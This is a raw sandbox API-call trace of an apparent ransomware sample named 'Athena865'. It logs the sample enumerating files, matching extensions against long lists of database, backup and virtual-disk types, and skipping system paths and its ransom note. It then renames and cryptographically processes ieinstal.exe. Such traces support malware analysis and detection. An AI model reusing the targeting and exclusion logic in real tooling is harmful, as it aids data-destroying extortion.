[0038.035] lstrcmpiW (lpString1="al.exe", lpString2="db-shm") returned -1 [0038.036] lstrlenW (lpString="db-wal") returned 6 [0038.036] lstrcmpiW (lpString1="al.exe", lpString2="db-wal") returned -1 [0038.036] lstrlenW (lpString="dbc") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0038.036] lstrlenW (lpString="dbs") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0038.036] lstrlenW (lpString="dbt") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0038.036] lstrlenW (lpString="dbv") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0038.036] lstrlenW (lpString="dbx") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0038.036] lstrlenW (lpString="dcb") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0038.036] lstrlenW (lpString="dct") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0038.036] lstrlenW (lpString="dcx") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0038.036] lstrlenW (lpString="ddl") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0038.036] lstrlenW (lpString="dlis") returned 4 [0038.036] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0038.036] lstrlenW (lpString="dp1") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0038.036] lstrlenW (lpString="dqy") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0038.036] lstrlenW (lpString="dsk") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0038.036] lstrlenW (lpString="dsn") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0038.036] lstrlenW (lpString="dtsx") returned 4 [0038.036] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0038.036] lstrlenW (lpString="dxl") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0038.036] lstrlenW (lpString="eco") returned 3 [0038.036] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0038.036] lstrlenW (lpString="ecx") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0038.037] lstrlenW (lpString="edb") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0038.037] lstrlenW (lpString="epim") returned 4 [0038.037] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0038.037] lstrlenW (lpString="fcd") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0038.037] lstrlenW (lpString="fdb") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0038.037] lstrlenW (lpString="fic") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0038.037] lstrlenW (lpString="flexolibrary") returned 12 [0038.037] lstrlenW (lpString="fm5") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0038.037] lstrlenW (lpString="fmp") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0038.037] lstrlenW (lpString="fmp12") returned 5 [0038.037] lstrcmpiW (lpString1="l.exe", lpString2="fmp12") returned 1 [0038.037] lstrlenW (lpString="fmpsl") returned 5 [0038.037] lstrcmpiW (lpString1="l.exe", lpString2="fmpsl") returned 1 [0038.037] lstrlenW (lpString="fol") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0038.037] lstrlenW (lpString="fp3") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0038.037] lstrlenW (lpString="fp4") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0038.037] lstrlenW (lpString="fp5") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0038.037] lstrlenW (lpString="fp7") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0038.037] lstrlenW (lpString="fpt") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0038.037] lstrlenW (lpString="frm") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0038.037] lstrlenW (lpString="gdb") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.037] lstrlenW (lpString="gdb") returned 3 [0038.037] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0038.038] lstrlenW (lpString="grdb") returned 4 [0038.038] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0038.038] lstrlenW (lpString="gwi") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0038.038] lstrlenW (lpString="hdb") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0038.038] lstrlenW (lpString="his") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0038.038] lstrlenW (lpString="ib") returned 2 [0038.038] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0038.038] lstrlenW (lpString="idb") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0038.038] lstrlenW (lpString="ihx") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0038.038] lstrlenW (lpString="itdb") returned 4 [0038.038] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0038.038] lstrlenW (lpString="itw") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0038.038] lstrlenW (lpString="jet") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0038.038] lstrlenW (lpString="jtx") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0038.038] lstrlenW (lpString="kdb") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0038.038] lstrlenW (lpString="kexi") returned 4 [0038.038] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0038.038] lstrlenW (lpString="kexic") returned 5 [0038.038] lstrcmpiW (lpString1="l.exe", lpString2="kexic") returned 1 [0038.038] lstrlenW (lpString="kexis") returned 5 [0038.038] lstrcmpiW (lpString1="l.exe", lpString2="kexis") returned 1 [0038.038] lstrlenW (lpString="lgc") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0038.038] lstrlenW (lpString="lwx") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0038.038] lstrlenW (lpString="maf") returned 3 [0038.038] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0038.038] lstrlenW (lpString="maq") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0038.039] lstrlenW (lpString="mar") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0038.039] lstrlenW (lpString="marshal") returned 7 [0038.039] lstrcmpiW (lpString1="tal.exe", lpString2="marshal") returned 1 [0038.039] lstrlenW (lpString="mas") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0038.039] lstrlenW (lpString="mav") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0038.039] lstrlenW (lpString="maw") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0038.039] lstrlenW (lpString="mdbhtml") returned 7 [0038.039] lstrcmpiW (lpString1="tal.exe", lpString2="mdbhtml") returned 1 [0038.039] lstrlenW (lpString="mdn") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0038.039] lstrlenW (lpString="mdt") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0038.039] lstrlenW (lpString="mfd") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0038.039] lstrlenW (lpString="mpd") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0038.039] lstrlenW (lpString="mrg") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0038.039] lstrlenW (lpString="mud") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0038.039] lstrlenW (lpString="mwb") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0038.039] lstrlenW (lpString="myd") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0038.039] lstrlenW (lpString="ndf") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0038.039] lstrlenW (lpString="nnt") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0038.039] lstrlenW (lpString="nrmlib") returned 6 [0038.039] lstrcmpiW (lpString1="al.exe", lpString2="nrmlib") returned -1 [0038.039] lstrlenW (lpString="ns2") returned 3 [0038.039] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0038.040] lstrlenW (lpString="ns3") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0038.040] lstrlenW (lpString="ns4") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0038.040] lstrlenW (lpString="nsf") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0038.040] lstrlenW (lpString="nv") returned 2 [0038.040] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0038.040] lstrlenW (lpString="nv2") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0038.040] lstrlenW (lpString="nwdb") returned 4 [0038.040] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0038.040] lstrlenW (lpString="nyf") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0038.040] lstrlenW (lpString="odb") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.040] lstrlenW (lpString="odb") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0038.040] lstrlenW (lpString="oqy") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0038.040] lstrlenW (lpString="ora") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0038.040] lstrlenW (lpString="orx") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0038.040] lstrlenW (lpString="owc") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0038.040] lstrlenW (lpString="p96") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0038.040] lstrlenW (lpString="p97") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0038.040] lstrlenW (lpString="pan") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0038.040] lstrlenW (lpString="pdb") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0038.040] lstrlenW (lpString="pdm") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0038.040] lstrlenW (lpString="pnz") returned 3 [0038.040] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0038.041] lstrlenW (lpString="qry") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0038.041] lstrlenW (lpString="qvd") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0038.041] lstrlenW (lpString="rbf") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0038.041] lstrlenW (lpString="rctd") returned 4 [0038.041] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0038.041] lstrlenW (lpString="rod") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0038.041] lstrlenW (lpString="rodx") returned 4 [0038.041] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0038.041] lstrlenW (lpString="rpd") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0038.041] lstrlenW (lpString="rsd") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0038.041] lstrlenW (lpString="sas7bdat") returned 8 [0038.041] lstrcmpiW (lpString1="stal.exe", lpString2="sas7bdat") returned 1 [0038.041] lstrlenW (lpString="sbf") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0038.041] lstrlenW (lpString="scx") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0038.041] lstrlenW (lpString="sdb") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0038.041] lstrlenW (lpString="sdc") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0038.041] lstrlenW (lpString="sdf") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0038.041] lstrlenW (lpString="sis") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0038.041] lstrlenW (lpString="spq") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0038.041] lstrlenW (lpString="te") returned 2 [0038.041] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0038.041] lstrlenW (lpString="teacher") returned 7 [0038.041] lstrcmpiW (lpString1="tal.exe", lpString2="teacher") returned -1 [0038.041] lstrlenW (lpString="tmd") returned 3 [0038.041] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0038.042] lstrlenW (lpString="tps") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0038.042] lstrlenW (lpString="trc") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.042] lstrlenW (lpString="trc") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0038.042] lstrlenW (lpString="trm") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0038.042] lstrlenW (lpString="udb") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0038.042] lstrlenW (lpString="udl") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0038.042] lstrlenW (lpString="usr") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0038.042] lstrlenW (lpString="v12") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0038.042] lstrlenW (lpString="vis") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0038.042] lstrlenW (lpString="vpd") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0038.042] lstrlenW (lpString="vvv") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0038.042] lstrlenW (lpString="wdb") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0038.042] lstrlenW (lpString="wmdb") returned 4 [0038.042] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0038.042] lstrlenW (lpString="wrk") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0038.042] lstrlenW (lpString="xdb") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0038.042] lstrlenW (lpString="xld") returned 3 [0038.042] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0038.042] lstrlenW (lpString="xmlff") returned 5 [0038.042] lstrcmpiW (lpString1="l.exe", lpString2="xmlff") returned -1 [0038.042] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\ieinstal.exe.Athena865") returned 57 [0038.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.athena865"), dwFlags=0x1) returned 1 [0038.043] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe.Athena865" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.043] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=269824) returned 1 [0038.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.044] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.044] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.044] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.045] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42100, lpName=0x0) returned 0x154 [0038.046] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42100) returned 0x1f0000 [0038.059] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.059] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.059] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.060] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.060] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.062] CloseHandle (hObject=0x154) returned 1 [0038.063] CloseHandle (hObject=0x17c) returned 1 [0038.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.070] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="..") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="windows") returned -1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="bootmgr") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="temp") returned -1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="pagefile.sys") returned -1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="boot") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ids.txt") returned 1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="ntuser.dat") returned -1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="perflogs") returned -1 [0038.070] lstrcmpiW (lpString1="ielowutil.exe", lpString2="MSBuild") returned -1 [0038.070] lstrlenW (lpString="ielowutil.exe") returned 13 [0038.070] lstrcpyW (in: lpString1=0x241e88e, lpString2="ielowutil.exe" | out: lpString1="ielowutil.exe") returned="ielowutil.exe" [0038.070] lstrlenW (lpString="ielowutil.exe") returned 13 [0038.070] lstrlenW (lpString="Athena865") returned 9 [0038.071] lstrcmpiW (lpString1="wutil.exe", lpString2="Athena865") returned 1 [0038.071] lstrlenW (lpString=".dll") returned 4 [0038.071] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".dll") returned 1 [0038.071] lstrlenW (lpString=".lnk") returned 4 [0038.071] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".lnk") returned 1 [0038.071] lstrlenW (lpString=".ini") returned 4 [0038.071] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".ini") returned 1 [0038.071] lstrlenW (lpString=".sys") returned 4 [0038.071] lstrcmpiW (lpString1="ielowutil.exe", lpString2=".sys") returned 1 [0038.071] lstrlenW (lpString="ielowutil.exe") returned 13 [0038.071] lstrlenW (lpString="bak") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0038.071] lstrlenW (lpString="ba_") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0038.071] lstrlenW (lpString="dbb") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0038.071] lstrlenW (lpString="vmdk") returned 4 [0038.071] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0038.071] lstrlenW (lpString="rar") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0038.071] lstrlenW (lpString="zip") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0038.071] lstrlenW (lpString="tgz") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0038.071] lstrlenW (lpString="vbox") returned 4 [0038.071] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0038.071] lstrlenW (lpString="vdi") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0038.071] lstrlenW (lpString="vhd") returned 3 [0038.071] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0038.071] lstrlenW (lpString="vhdx") returned 4 [0038.071] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0038.071] lstrlenW (lpString="avhd") returned 4 [0038.071] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0038.071] lstrlenW (lpString="db") returned 2 [0038.071] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0038.071] lstrlenW (lpString="db2") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0038.072] lstrlenW (lpString="db3") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0038.072] lstrlenW (lpString="dbf") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0038.072] lstrlenW (lpString="mdf") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0038.072] lstrlenW (lpString="mdb") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0038.072] lstrlenW (lpString="sql") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0038.072] lstrlenW (lpString="sqlite") returned 6 [0038.072] lstrcmpiW (lpString1="il.exe", lpString2="sqlite") returned -1 [0038.072] lstrlenW (lpString="sqlite3") returned 7 [0038.072] lstrcmpiW (lpString1="til.exe", lpString2="sqlite3") returned 1 [0038.072] lstrlenW (lpString="sqlitedb") returned 8 [0038.072] lstrcmpiW (lpString1="util.exe", lpString2="sqlitedb") returned 1 [0038.072] lstrlenW (lpString="xml") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0038.072] lstrlenW (lpString="$er") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0038.072] lstrlenW (lpString="4dd") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0038.072] lstrlenW (lpString="4dl") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0038.072] lstrlenW (lpString="^^^") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0038.072] lstrlenW (lpString="abs") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0038.072] lstrlenW (lpString="abx") returned 3 [0038.072] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0038.072] lstrlenW (lpString="accdb") returned 5 [0038.072] lstrcmpiW (lpString1="l.exe", lpString2="accdb") returned 1 [0038.072] lstrlenW (lpString="accdc") returned 5 [0038.072] lstrcmpiW (lpString1="l.exe", lpString2="accdc") returned 1 [0038.072] lstrlenW (lpString="accde") returned 5 [0038.073] lstrcmpiW (lpString1="l.exe", lpString2="accde") returned 1 [0038.073] lstrlenW (lpString="accdr") returned 5 [0038.073] lstrcmpiW (lpString1="l.exe", lpString2="accdr") returned 1 [0038.073] lstrlenW (lpString="accdt") returned 5 [0038.073] lstrcmpiW (lpString1="l.exe", lpString2="accdt") returned 1 [0038.073] lstrlenW (lpString="accdw") returned 5 [0038.073] lstrcmpiW (lpString1="l.exe", lpString2="accdw") returned 1 [0038.073] lstrlenW (lpString="accft") returned 5 [0038.073] lstrcmpiW (lpString1="l.exe", lpString2="accft") returned 1 [0038.073] lstrlenW (lpString="adb") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.073] lstrlenW (lpString="adb") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0038.073] lstrlenW (lpString="ade") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0038.073] lstrlenW (lpString="adf") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0038.073] lstrlenW (lpString="adn") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0038.073] lstrlenW (lpString="adp") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0038.073] lstrlenW (lpString="alf") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0038.073] lstrlenW (lpString="ask") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0038.073] lstrlenW (lpString="btr") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0038.073] lstrlenW (lpString="cat") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0038.073] lstrlenW (lpString="cdb") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0038.073] lstrlenW (lpString="ckp") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0038.073] lstrlenW (lpString="cma") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0038.073] lstrlenW (lpString="cpd") returned 3 [0038.073] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0038.073] lstrlenW (lpString="dacpac") returned 6 [0038.074] lstrcmpiW (lpString1="il.exe", 